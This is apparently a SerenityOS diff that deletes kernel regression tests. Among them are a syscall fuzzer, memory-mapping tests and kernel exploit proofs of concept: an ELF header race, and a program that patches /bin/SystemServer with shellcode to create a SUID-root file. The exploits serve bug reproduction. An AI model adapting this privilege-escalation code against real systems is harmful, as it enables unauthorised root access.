int rc = mprotect(ptr, 4096, PROT_READ);
if (rc != 0 || *ptr != 'x')
return Crash::Failure::UnexpectedError;
*ptr = 'y'; // This should crash!
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_invalid_stack_pointer_on_syscall || do_all_crash_types) {
any_failures |= !Crash("Invalid stack pointer on syscall", []() {
u8* makeshift_stack = (u8*)mmap(nullptr, 0, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_STACK, 0, 0);
if (!makeshift_stack)
return Crash::Failure::UnexpectedError;
u8* makeshift_esp = makeshift_stack + 2048;
#if ARCH(X86_64)
asm volatile("mov %%eax, %%esp" ::"a"(makeshift_esp));
#elif ARCH(AARCH64)
(void)makeshift_esp;
TODO_AARCH64();
#elif ARCH(RISCV64)
(void)makeshift_esp;
TODO_RISCV64();
#else
# error Unknown architecture
#endif
getuid();
dbgln("Survived syscall with MAP_STACK stack");
u8* bad_stack = (u8*)mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (!bad_stack)
return Crash::Failure::UnexpectedError;
u8* bad_esp = bad_stack + 2048;
#if ARCH(X86_64)
asm volatile("mov %%eax, %%esp" ::"a"(bad_esp));
#elif ARCH(AARCH64)
(void)bad_esp;
TODO_AARCH64();
#elif ARCH(RISCV64)
(void)bad_esp;
TODO_RISCV64();
#else
# error Unknown architecture
#endif
getuid();
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_invalid_stack_pointer_on_page_fault || do_all_crash_types) {
any_failures |= !Crash("Invalid stack pointer on page fault", []() {
u8* bad_stack = (u8*)mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (!bad_stack)
return Crash::Failure::UnexpectedError;
u8* bad_esp = bad_stack + 2048;
#if ARCH(X86_64)
asm volatile("movq %%rax, %%rsp" ::"a"(bad_esp));
asm volatile("pushq $0");
#elif ARCH(AARCH64)
(void)bad_esp;
TODO_AARCH64();
#elif ARCH(RISCV64)
(void)bad_esp;
TODO_RISCV64();
#else
# error Unknown architecture
#endif
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_syscall_from_writeable_memory || do_all_crash_types) {
any_failures |= !Crash("Syscall from writable memory", []() {
u8 buffer[] = { 0xb8, Syscall::SC_getuid, 0, 0, 0, 0xcd, 0x82 };
((void (*)())buffer)();
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_legitimate_syscall || do_all_crash_types) {
any_failures |= !Crash("Regular syscall from outside syscall-code mapped region", []() {
// Since 'crash' is dynamically linked, and DynamicLoader only allows LibSystem to make syscalls, this should kill us:
Syscall::invoke(Syscall::SC_getuid);
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_execute_non_executable_memory || do_all_crash_types) {
any_failures |= !Crash("Execute non executable memory", []() {
auto* ptr = (u8*)mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
if (ptr == MAP_FAILED)
return Crash::Failure::UnexpectedError;
ptr[0] = 0xc3; // ret
typedef void* (*CrashyFunctionPtr)();
((CrashyFunctionPtr)ptr)();
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_trigger_user_mode_instruction_prevention) {
any_failures |= !Crash("Trigger x86 User Mode Instruction Prevention", []() {
#if ARCH(X86_64)
asm volatile("str %eax");
#elif ARCH(AARCH64)
TODO_AARCH64();
#elif ARCH(RISCV64)
TODO_RISCV64();
#else
# error Unknown architecture
#endif
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
#if ARCH(X86_64)
if (do_use_io_instruction || do_all_crash_types) {
any_failures |= !Crash("Attempt to use an I/O instruction", [] {
u8 keyboard_status = IO::in8(0x64);
outln("Keyboard status: {:#02x}", keyboard_status);
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
#endif
if (do_pledge_violation || do_all_crash_types) {
any_failures |= !Crash("Violate pledge()'d promises", [] {
if (pledge("", nullptr) < 0) {
perror("pledge");
return Crash::Failure::DidNotCrash;
}
outln("Didn't pledge 'stdio', this should fail!");
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_failing_assertion || do_all_crash_types) {
any_failures |= !Crash("Perform a failing assertion", [] {
VERIFY(1 == 2);
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
if (do_deref_null_refptr || do_all_crash_types) {
any_failures |= !Crash("Dereference a null RefPtr", [] {
RefPtr<Core::EventReceiver> p;
*p;
return Crash::Failure::DidNotCrash;
}).run(run_type);
}
return any_failures;
}

View file

@ -1,141 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <elf.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>
bool volatile hax = false;
int main()
{
char buffer[16384];
auto& header = *(Elf32_Ehdr*)buffer;
header.e_ident[EI_MAG0] = ELFMAG0;
header.e_ident[EI_MAG1] = ELFMAG1;
header.e_ident[EI_MAG2] = ELFMAG2;
header.e_ident[EI_MAG3] = ELFMAG3;
header.e_ident[EI_CLASS] = ELFCLASS32;
header.e_ident[EI_DATA] = ELFDATA2LSB;
header.e_ident[EI_VERSION] = EV_CURRENT;
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
header.e_ident[EI_ABIVERSION] = 0;
header.e_type = ET_EXEC;
header.e_version = EV_CURRENT;
header.e_ehsize = sizeof(Elf32_Ehdr);
header.e_machine = EM_386;
header.e_shentsize = sizeof(Elf32_Shdr);
header.e_phnum = 1;
header.e_phoff = 52;
header.e_phentsize = sizeof(Elf32_Phdr);
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
ph[0].p_vaddr = 0x20000000;
ph[0].p_type = PT_LOAD;
ph[0].p_filesz = sizeof(buffer);
ph[0].p_memsz = sizeof(buffer);
ph[0].p_flags = PF_R | PF_W;
ph[0].p_align = PAGE_SIZE;
header.e_shnum = 3;
header.e_shoff = 1024;
u32 secret_address = 0x00184658;
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
sh[0].sh_type = SHT_SYMTAB;
sh[0].sh_offset = 2048;
sh[0].sh_entsize = sizeof(Elf32_Sym);
sh[0].sh_size = 1 * sizeof(Elf32_Sym);
sh[1].sh_type = SHT_STRTAB;
sh[1].sh_offset = secret_address - 0x01001000;
sh[1].sh_entsize = 0;
sh[1].sh_size = 1024;
sh[2].sh_type = SHT_STRTAB;
sh[2].sh_offset = 4096;
sh[2].sh_entsize = 0;
sh[2].sh_size = 1024;
header.e_shstrndx = 2;
auto* sym = (Elf32_Sym*)(&buffer[2048]);
sym[0].st_value = 0;
sym[0].st_name = 0;
header.e_entry = 0;
char path[] = "/tmp/x.XXXXXX";
auto fd = mkstemp(path);
if (fd < 0) {
perror("mkstemp");
return 1;
}
if (fchmod(fd, 0777) < 0) {
perror("chmod");
return 1;
}
int nwritten = write(fd, buffer, sizeof(buffer));
if (nwritten < 0) {
perror("write");
return 1;
}
sync();
auto* mapped = (u8*)mmap(nullptr, sizeof(buffer), PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mapped == MAP_FAILED) {
perror("mmap");
return 1;
}
auto* writable_program_headers = (Elf32_Phdr*)(&mapped[header.e_phoff]);
pthread_attr_t attrs;
pthread_attr_init(&attrs);
sched_param high_prio { 99 };
pthread_attr_setschedparam(&attrs, &high_prio);
pthread_t t;
pthread_create(
&t, &attrs, [](void* ctx) -> void* {
auto& ph = *(Elf32_Phdr volatile*)ctx;
for (;;) {
if (!hax)
ph.p_offset = 0x60000000;
else
ph.p_offset = 0;
hax = !hax;
usleep(1);
}
},
&writable_program_headers[0]);
for (;;) {
if (!fork()) {
try_again:
printf("exec\n");
execl(path, "x", nullptr);
goto try_again;
}
printf("waitpid\n");
waitpid(-1, nullptr, 0);
}
}

View file

@ -1,127 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <elf.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#if ARCH(X86_64)
asm("haxcode:\n"
"1: jmp 1b\n"
"haxcode_end:\n");
#elif ARCH(AARCH64)
asm("haxcode:\n"
"1: b 1b\n"
"haxcode_end:\n");
#elif ARCH(RISCV64)
asm("haxcode:\n"
"1: j 1b\n"
"haxcode_end:\n");
#else
# error Unknown architecture
#endif
extern "C" void haxcode();
extern "C" void haxcode_end();
#pragma GCC diagnostic ignored "-Wdeprecated-declarations"
int main()
{
char buffer[16384];
auto& header = *(Elf32_Ehdr*)buffer;
header.e_ident[EI_MAG0] = ELFMAG0;
header.e_ident[EI_MAG1] = ELFMAG1;
header.e_ident[EI_MAG2] = ELFMAG2;
header.e_ident[EI_MAG3] = ELFMAG3;
header.e_ident[EI_CLASS] = ELFCLASS32;
header.e_ident[EI_DATA] = ELFDATA2LSB;
header.e_ident[EI_VERSION] = EV_CURRENT;
header.e_ident[EI_OSABI] = ELFOSABI_SYSV;
header.e_ident[EI_ABIVERSION] = 0;
header.e_type = ET_EXEC;
header.e_version = EV_CURRENT;
header.e_ehsize = sizeof(Elf32_Ehdr);
header.e_machine = EM_386;
header.e_shentsize = sizeof(Elf32_Shdr);
header.e_phnum = 1;
header.e_phoff = 52;
header.e_phentsize = sizeof(Elf32_Phdr);
auto* ph = (Elf32_Phdr*)(&buffer[header.e_phoff]);
ph[0].p_vaddr = 0x20000000;
ph[0].p_type = PT_LOAD;
ph[0].p_filesz = sizeof(buffer);
ph[0].p_memsz = sizeof(buffer);
ph[0].p_flags = PF_R | PF_X;
ph[0].p_align = PAGE_SIZE;
header.e_shnum = 3;
header.e_shoff = 1024;
u32 secret_address = 0x00184658;
auto* sh = (Elf32_Shdr*)(&buffer[header.e_shoff]);
sh[0].sh_type = SHT_SYMTAB;
sh[0].sh_offset = 2048;
sh[0].sh_entsize = sizeof(Elf32_Sym);
sh[0].sh_size = 2 * sizeof(Elf32_Sym);
sh[1].sh_type = SHT_STRTAB;
sh[1].sh_offset = secret_address - 0x01001000;
sh[1].sh_entsize = 0;
sh[1].sh_size = 1024;
sh[2].sh_type = SHT_STRTAB;
sh[2].sh_offset = 4096;
sh[2].sh_entsize = 0;
sh[2].sh_size = 1024;
header.e_shstrndx = 2;
auto* sym = (Elf32_Sym*)(&buffer[2048]);
sym[0].st_value = 0x20002000;
sym[0].st_name = 0;
sym[1].st_value = 0x30000000;
sym[1].st_name = 0;
auto* strtab = (char*)&buffer[3072];
strcpy(strtab, "sneaky!");
auto* shstrtab = (char*)&buffer[4096];
strcpy(shstrtab, ".strtab");
auto* code = &buffer[8192];
size_t haxcode_size = (uintptr_t)haxcode_end - (uintptr_t)haxcode;
printf("memcpy(%p, %p, %zu)\n", code, haxcode, haxcode_size);
memcpy(code, (void*)haxcode, haxcode_size);
header.e_entry = 0x20000000 + 8192;
int fd = open("x", O_RDWR | O_CREAT, 0777);
if (fd < 0) {
perror("open");
return 1;
}
auto nwritten = write(fd, buffer, sizeof(buffer));
if (nwritten < 0) {
perror("write");
return 1;
}
if (execl("/home/anon/x", "x", nullptr) < 0) {
perror("execl");
return 1;
}
return 0;
}

View file

@ -1,168 +0,0 @@
/*
* Copyright (c) 2021, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/ByteString.h>
#include <AK/Format.h>
#include <AK/Random.h>
#include <AK/StringBuilder.h>
#include <AK/Vector.h>
#include <Kernel/API/SyscallString.h>
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <syscall.h>
static bool is_deadly_syscall(int fn)
{
return fn == SC_exit || fn == SC_fork || fn == SC_sigreturn || fn == SC_exit_thread;
}
static bool is_unfuzzable_syscall(int fn)
{
return fn == SC_dump_backtrace || fn == SC_munmap || fn == SC_kill || fn == SC_killpg;
}
static bool is_nosys_syscall(int fn)
{
return fn == SC_futex || fn == SC_emuctl;
}
static bool is_bad_idea(int fn, size_t const* direct_sc_args, size_t const* fake_sc_params, char const* some_string)
{
switch (fn) {
case SC_mprotect:
// This would mess with future tests or crash the fuzzer.
return direct_sc_args[0] == (size_t)fake_sc_params || direct_sc_args[0] == (size_t)some_string;
case SC_read:
case SC_readv:
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
return direct_sc_args[0] == 1;
case SC_write:
case SC_pwritev:
// FIXME: Known bug: https://github.com/SerenityOS/serenity/issues/5328
return direct_sc_args[0] == 0;
case SC_pledge:
// Equivalent to pledge(nullptr, _), which would kill the fuzzer.
return direct_sc_args[0] == (size_t)fake_sc_params && fake_sc_params[1] == 0;
default:
return false;
}
}
static void do_systematic_tests()
{
int rc;
for (int i = 0; i < Syscall::Function::__Count; ++i) {
dbgln("Testing syscall #{} ({})", i, Syscall::to_string((Syscall::Function)i));
if (is_deadly_syscall(i)) {
dbgln("(skipping deadly syscall)");
continue;
}
// This is pure torture
rc = syscall(Syscall::Function(i), 0xc0000001, 0xc0000002, 0xc0000003);
VERIFY(rc != -ENOSYS || is_nosys_syscall(i));
}
// Finally, test invalid syscalls:
dbgln("Testing syscall #{} (n+1)", (int)Syscall::Function::__Count);
rc = syscall(Syscall::Function::__Count, 0xc0000001, 0xc0000002, 0xc0000003);
VERIFY(rc == -ENOSYS);
dbgln("Testing syscall #-1");
rc = syscall(Syscall::Function(-1), 0xc0000001, 0xc0000002, 0xc0000003);
VERIFY(rc == -ENOSYS);
}
static void randomize_from(size_t* buffer, size_t len, Vector<size_t> const& values)
{
for (size_t i = 0; i < len; ++i) {
buffer[i] = values[get_random_uniform(values.size())];
}
}
// The largest SC_*_params struct is SC_mmap_params with 9 size_ts (36 bytes on x86, 72 on x86_64).
static constexpr size_t fake_params_count = sizeof(Syscall::SC_mmap_params) / sizeof(size_t);
static void do_weird_call(size_t attempt, int syscall_fn, size_t arg1, size_t arg2, size_t arg3, size_t* fake_params)
{
// Report to dbg what we're about to do, in case it's interesting:
StringBuilder builder;
builder.appendff("#{}: Calling {}({:p}, {:p}, {:p}) with {:p} containing [",
attempt, Syscall::to_string((Syscall::Function)syscall_fn), arg1, arg2, arg3, fake_params);
for (size_t i = 0; i < fake_params_count; ++i) {
if (i != 0)
builder.append(", "sv);
builder.appendff("{:p}", fake_params[i]);
}
builder.append(']');
dbgln("{}", builder.to_byte_string());
// Actually do the syscall ('fake_params' is passed indirectly, if any of arg1, arg2, or arg3 point to it.
int rc = syscall(Syscall::Function(syscall_fn), arg1, arg2, arg3);
VERIFY(rc != -ENOSYS || is_nosys_syscall(syscall_fn));
}
static void do_random_tests()
{
// Make it less likely to kill ourselves due to sys$alarm(1):
{
struct sigaction act_ignore = { { SIG_IGN }, 0, 0 };
int rc = sigaction(SIGALRM, &act_ignore, nullptr);
VERIFY(rc == 0);
}
// Note that we will also make lots of syscalls for randomness and debugging.
size_t const fuzz_syscall_count = 10000;
size_t direct_sc_args[3] = { 0 };
// Isolate to a separate region to make corruption less likely, because we will write to it:
auto* fake_sc_params = reinterpret_cast<size_t*>(mmap(nullptr, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON | MAP_RANDOMIZED, 0, 0));
char const* some_string = "Hello, world!";
Vector<size_t> interesting_values = {
0,
1,
reinterpret_cast<size_t>(some_string),
strlen(some_string),
reinterpret_cast<size_t>(fake_sc_params),
0xc0000000,
0xc0000000 - PAGE_SIZE,
0xffffffff,
};
dbgln("Doing a few random syscalls with:");
for (auto const& interesting_value : interesting_values) {
dbgln(" {0} ({0:p})", interesting_value);
}
for (size_t i = 0; i < fuzz_syscall_count; ++i) {
// Construct a nice syscall:
int syscall_fn = get_random_uniform(Syscall::Function::__Count);
randomize_from(direct_sc_args, array_size(direct_sc_args), interesting_values);
randomize_from(fake_sc_params, fake_params_count, interesting_values);
if (is_deadly_syscall(syscall_fn)
|| is_unfuzzable_syscall(syscall_fn)
|| is_bad_idea(syscall_fn, direct_sc_args, fake_sc_params, some_string)) {
// Retry, and don't count towards syscall limit.
--i;
continue;
}
do_weird_call(i, syscall_fn, direct_sc_args[0], direct_sc_args[1], direct_sc_args[2], fake_sc_params);
}
}
int main()
{
do_systematic_tests();
do_random_tests();
// If the Kernel survived, pass.
printf("PASS\n");
return 0;
}

View file

@ -1,149 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Assertions.h>
#include <AK/Format.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/*
* Bug:
* If the main thread of a process is no longer alive, it cannot receive
* signals anymore. This can manifest as, for example, an unkillable process.
*
* So what needs to happen:
* - There is process P
* - It has more than one thread
* - The main thread calls thread_exit(), leaving the rest of the threads alive
* - Now the process is unkillable!
*
* Here's how to demonstrate the bug:
* - Time 0: PX forks into PZ (mnemonic: Zombie)
* - Time 1: PZ's main thread T1 creates a new thread T2
* - Time 2: Nothing (T2 could communicate to PX both process and thread ID)
* (most LibC functions crash currently, which is a different bug I suppose.)
* - Time 3: T1 calls thread_exit()
* - Time 4:
* * PX tries to kill PZ (should work, but doesn't)
* * PX tries to kill PZ using T2's thread ID (shouldn't work, and doesn't)
* * PX outputs all results.
*/
static constexpr useconds_t STEP_SIZE = 1100000;
static void fork_into(void(fn)())
{
pid_t const rc = fork();
if (rc < 0) {
perror("fork");
exit(1);
}
if (rc > 0) {
return;
}
fn();
dbgln("child finished (?)");
exit(1);
}
static void thread_into(void* (*fn)(void*))
{
pthread_t tid;
int const rc = pthread_create(&tid, nullptr, fn, nullptr);
if (rc < 0) {
perror("pthread_create");
exit(1);
}
}
static void sleep_steps(useconds_t steps)
{
int const rc = usleep(steps * STEP_SIZE);
if (rc < 0) {
perror("usleep");
VERIFY_NOT_REACHED();
}
}
static bool try_kill(pid_t kill_id)
{
int rc = kill(kill_id, SIGTERM);
perror("kill");
printf("kill rc: %d\n", rc);
return rc >= 0;
}
static void run_pz();
static void* run_pz_t2_wrap(void* fd_ptr);
static void run_pz_t2();
int main(int, char**)
{
// This entire function is the entirety of process PX.
// Time 0: PX forks into PZ (mnemonic: Zombie)
dbgln("PX forks into PZ");
fork_into(run_pz);
sleep_steps(4);
// Time 4:
dbgln("Let's hope everything went fine!");
pid_t guessed_pid = getpid() + 1;
pid_t guessed_tid = guessed_pid + 1;
printf("About to kill PID %d, TID %d.\n", guessed_pid, guessed_tid);
if (try_kill(guessed_tid)) {
printf("FAIL, could kill a thread\n");
exit(1);
}
if (!try_kill(guessed_pid)) {
printf("FAIL, could not kill the process\n");
exit(1);
}
printf("PASS\n");
return 0;
}
static void run_pz()
{
// Time 0: PX forks into PZ (mnemonic: Zombie)
sleep_steps(1);
// Time 1: PZ's main thread T1 creates a new thread T2
dbgln("PZ calls pthread_create");
thread_into(run_pz_t2_wrap);
sleep_steps(2);
// Time 3: T1 calls thread_exit()
dbgln("PZ(T1) calls thread_exit");
pthread_exit(nullptr);
VERIFY_NOT_REACHED();
}
static void* run_pz_t2_wrap(void*)
{
run_pz_t2();
exit(1);
}
static void run_pz_t2()
{
// Time 1: PZ's main thread T1 creates a new thread T2
sleep_steps(1);
// Time 2: Nothing
// FIXME: For some reason, both printf() and dbg() crash.
// This also prevents us from using a pipe to communicate to PX both process and thread ID
// dbgln("T2: I'm alive and well.");
sleep_steps(18);
// Time 20: Cleanup
printf("PZ(T2) dies from boredom.\n");
exit(0);
}

View file

@ -1,76 +0,0 @@
/*
* Copyright (c) 2018-2020, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
int fd = open("/bin/SystemServer", O_RDONLY);
if (fd < 0) {
perror("open");
return 1;
}
u8* ptr = (u8*)mmap(nullptr, 16384, PROT_READ, MAP_SHARED, fd, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
return 1;
}
if (mprotect(ptr, 16384, PROT_READ | PROT_WRITE) < 0) {
perror("mprotect");
return 1;
}
/*
*
* This payload replaces the start of sigchld_handler in the /bin/SystemServer file.
* It does two things:
*
* chown ("/home/anon/own", 0, 0);
* chmod ("/home/anon/own", 04755);
*
* In other words, it turns "/home/anon/own" into a SUID-root executable! :^)
*
*/
#if 0
[bits 32]
[org 0x0804b111]
jmp $+17
path:
db "/home/anon/own", 0
mov eax, 79
mov edx, path
mov ecx, 0
mov ebx, 0
int 0x82
mov eax, 67
mov edx, path
mov ecx, 15
mov ebx, 2541
int 0x82
ret
#endif
u8 const payload[] = {
0xeb, 0x0f, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x61, 0x6e, 0x6f,
0x6e, 0x2f, 0x6f, 0x77, 0x6e, 0x00, 0xb8, 0x4f, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x00, 0x00, 0x00, 0x00, 0xbb,
0x00, 0x00, 0x00, 0x00, 0xcd, 0x82, 0xb8, 0x43, 0x00, 0x00, 0x00,
0xba, 0x13, 0xb1, 0x04, 0x08, 0xb9, 0x0f, 0x00, 0x00, 0x00, 0xbb,
0xed, 0x09, 0x00, 0x00, 0xcd, 0x82, 0xc3
};
memcpy(&ptr[0x3111], payload, sizeof(payload));
printf("ok\n");
return 0;
}

View file

@ -1,75 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Format.h>
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
printf("Testing full unnmap\n");
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map1 == MAP_FAILED) {
perror("mmap 1");
return 1;
}
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map2 == MAP_FAILED) {
perror("mmap 2");
return 1;
}
auto* map3 = mmap((void*)((FlatPtr)map1 + 4 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map3 == MAP_FAILED) {
perror("mmap 3");
return 1;
}
// really allocating pages
memset(map1, 0x01, 6 * PAGE_SIZE);
int rc;
outln("Mprotect 3 ranges [2, 2 ,2]");
rc = mprotect(map1, 6 * PAGE_SIZE, PROT_READ);
if (rc) {
perror("mprotect full");
return 1;
}
outln("Mprotect 3 ranges [-1, 2 ,1-]");
rc = mprotect((void*)((FlatPtr)map1 + PAGE_SIZE), 4 * PAGE_SIZE, PROT_READ);
if (rc) {
perror("mprotect partial");
return 1;
}
outln("unmapping");
munmap(map2, 2 * PAGE_SIZE);
outln("Mprotect 2 ranges [2, -- ,2] -> Error");
rc = mprotect(map1, 6 * PAGE_SIZE, PROT_READ);
if (!rc) {
perror("mprotect full over missing succeeded");
return 1;
}
outln("Mprotect 3 ranges [-1, -- ,1-] -> Error");
rc = mprotect((void*)((FlatPtr)map1 + PAGE_SIZE), 4 * PAGE_SIZE, PROT_READ);
if (!rc) {
perror("mprotect partial over missing succeeded");
return 1;
}
// cleanup
munmap(map1, 6 * PAGE_SIZE);
outln("PASS");
return 0;
}

View file

@ -1,106 +0,0 @@
/*
* Copyright (c) 2021, the SerenityOS developers.
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <AK/Types.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
int main()
{
{
printf("Testing full unnmap\n");
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map1 == MAP_FAILED) {
perror("mmap 1");
return 1;
}
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map2 == MAP_FAILED) {
perror("mmap 2");
return 1;
}
((u32*)map1)[0] = 0x41414141;
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
((u32*)map2)[0] = 0xbeefbeef;
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
perror("write");
return 1;
}
int res = munmap(map1, 4 * PAGE_SIZE);
if (res < 0) {
perror("unmap");
return 1;
}
}
{
printf("Testing partial unmapping\n");
auto* map1 = mmap(nullptr, 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map1 == MAP_FAILED) {
perror("mmap 1");
return 1;
}
auto* map2 = mmap((void*)((FlatPtr)map1 + 2 * PAGE_SIZE), 2 * PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map2 == MAP_FAILED) {
perror("mmap 2");
return 1;
}
((u32*)map1)[0] = 0x41414141;
((u32*)map1)[PAGE_SIZE / sizeof(u32)] = 0x42424242;
((u32*)map2)[0] = 0xbeefbeef;
((u32*)map2)[PAGE_SIZE / sizeof(u32)] = 0xc0dec0de;
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map1)[PAGE_SIZE / sizeof(u32)] != 0x42424242
|| ((u32*)map2)[0] != 0xbeefbeef || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de) {
perror("write");
return 1;
}
int res = munmap((void*)((FlatPtr)map1 + PAGE_SIZE), 2 * PAGE_SIZE);
if (res < 0) {
perror("unmap");
return 1;
}
auto* map3 = mmap((void*)((FlatPtr)map1 + PAGE_SIZE), PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map3 == MAP_FAILED) {
perror("remap 1");
return 1;
}
auto* map4 = mmap(map2, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, 0, 0);
if (map4 == MAP_FAILED) {
perror("remap 2");
return 1;
}
((u32*)map3)[0] = 0x13371337;
((u32*)map4)[0] = 0x1b1b1b1b;
if (((u32*)map1)[0] != 0x41414141 || ((u32*)map2)[PAGE_SIZE / sizeof(u32)] != 0xc0dec0de
|| ((u32*)map3)[0] != 0x13371337 || ((u32*)map4)[0] != 0x1b1b1b1b
|| ((u32*)map1)[PAGE_SIZE / sizeof(int)] != ((u32*)map3)[0] || ((u32*)map2)[0] != ((u32*)map4)[0]) {
perror("read at old map and write at remap");
return 1;
}
res = munmap(map1, PAGE_SIZE * 4);
if (res < 0) {
perror("cleanup");
return 1;
}
}
printf("PASS\n");
return 0;
}

View file

@ -1,133 +0,0 @@
/*
* Copyright (c) 2020, Ben Wiederhake <BenWiederhake.GitHub@gmx.de>
*
* SPDX-License-Identifier: BSD-2-Clause
*/
#include <assert.h>
#include <pthread.h>
#include <signal.h>
#include <stdio.h>
#include <time.h>
#include <unistd.h>
static void signal_printer(int)
{
// no-op
}
typedef struct yank_shared_t {
timespec* remaining_sleep;
// TODO: Be nice and use thread ID
// pthread_t sleeper_thread;
} yank_shared_t;
static void* yanker_fn(void* shared_)
{
yank_shared_t* shared = static_cast<yank_shared_t*>(shared_);
timespec requested_sleep = { 1, 0 };
int rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker: Failed during sleep: %d\n", rc);
return nullptr;
}
delete shared->remaining_sleep; // T2
// Send SIGUSR1.
// Use pthread:
// pthread_kill(somewhere, SIGUSR1);
// But wait! pthread_kill isn't implemented yet, and therefore causes
// a linker error. It also looks like the corresponding syscall is missing.
// Use normal IPC syscall:
// kill(getpid(), SIGUSR1);
// But wait! If destination_pid == own_pid, then the signal is sent
// to the calling thread, *no matter what*.
// So, we have to go the very ugly route of fork():
// (Thank goodness this is only a demo of a kernel bug!)
pid_t pid_to_kill = getpid();
pid_t child_pid = fork();
if (child_pid < 0) {
printf("Yanker: Fork failed: %d\n", child_pid);
pthread_exit(nullptr); // See below
}
if (child_pid > 0) {
// Success. Terminate quickly. T3
// FIXME: LibPthread bug: returning during normal operation causes nullptr deref.
// Workaround: Exit manually.
pthread_exit(nullptr);
}
// Give parent *thread* a moment to die.
requested_sleep = { 1, 0 };
rc = clock_nanosleep(CLOCK_MONOTONIC, 0, &requested_sleep, nullptr);
if (rc != 0) {
printf("Yanker-child: Failed during sleep: %d\n", rc);
return nullptr;
}
// Prod the parent *process*
kill(pid_to_kill, SIGUSR1); // T4
// Wait a moment, to ensure the log output is as well-separated as possible.
requested_sleep = { 2, 0 };
